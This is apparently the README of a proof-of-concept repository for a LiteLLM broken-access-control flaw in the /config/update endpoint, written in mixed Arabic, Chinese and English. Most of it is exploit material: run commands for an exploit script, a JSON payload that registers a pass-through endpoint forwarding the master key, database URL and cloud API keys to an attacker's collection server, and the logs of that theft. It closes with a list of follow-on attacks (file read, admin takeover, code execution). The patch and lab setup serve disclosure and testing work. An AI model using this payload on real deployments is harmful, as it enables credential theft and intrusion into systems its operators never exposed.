
الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة
/config/update ثغرة الوصول غير المصرح به (Broken Access Control)LiteLLM نقطة النهاية
/config/updateلا تتحقق من صلاحيات دور المستدعي. يمكن لأي مستخدم مصدق يحمل مفتاح API صالح (بدون الحاجة إلى صلاحيات المشرف) تعديل تكوين الوكيل وتسجيل نقاط نهاية مرور ضارة لتنفيذ هجمات مثل سرقة المتغيرات البيئية، قراءة أي ملف، تنفيذ التعليمات البرمجية عن بُعد.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| المتأثر | LiteLLM < 1.83.0 |
| الإصلاح | v1.83.0+ (تمت إضافة التحقق من دور proxy_admin على /config/update) |
| النشر | 2026-04-06 |
| المكتشف | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| تاريخ الاكتشاف | 2026-02-24 |
| الروابط | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
كان من المفترض أن نقطة النهاية /config/update في LiteLLM تسمح فقط بدور proxy_admin، لكن قبل الإصدار v1.83.0 لم يكن هناك أي فحص للدور. يمكن لأي مستخدم لديه مفتاح API صالح استدعاء هذه النقطة.
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it tomain-v1.81.0-stableor any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
ملاحظة: في المرة الأولى لتشغيل الحاويات، انتظر حوالي 30-60 ثانية (فحص صحة PostgreSQL + ترحيل قاعدة بيانات Prisma) حتى يظهر في سجلات الحاوية
Uvicorn running on http://0.0.0.0:4000ثم قم بتنفيذ الاستغلال.
سرقة المتغيرات البيئية:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
الإصدار الذي تم إصلاحه يرفض الوصول (يعيد 403 عند استخدام مفتاح غير مشرف):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
ملاحظة: إذا استخدمت المفتاح الرئيسي (
sk-litellm-master-key) لاختبار الإصدار المُصلح، فقد يعيد تحديث التكوين HTTP 200 (لأن المفتاح الرئيسي لديه دورproxy_admin)، لكن تسجيل نقطة نهاية المرور قد لا يسري أو قد يتم تجاهله بصمت. يُنصح باستخدام مفتاح غير مشرف للتحقق من الإصلاح.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
في الإصدار v1.83.0، تمت إضافة فحص دور proxy_admin في معالج /config/update:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
الالتزام: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update على مستوى الشبكةDisclaimer: This content is provided for educational purposes and authorized security testing only.
| نوع الهجوم | الوصف |
|---|
| سرقة المتغيرات البيئية | تسجيل نقطة نهاية مرور، واستخدام مراجع رأس os.environ/VAR_NAME لسرقة DATABASE_URL، LITELLM_MASTER_KEY، وغيرها |
| قراءة أي ملف | استغلال خاصية ترميز Base64 لرؤوس LANGFUSE_* لقراءة نظام ملفات الخادم |
| تعديل التكوين | تجاوز UI_USERNAME، UI_PASSWORD لاختطاف حسابات المشرفين |
| تنفيذ التعليمات البرمجية عن بُعد | تسجيل معالج نقطة نهاية مرور يشير إلى كود بايثون الخاص بالمهاجم |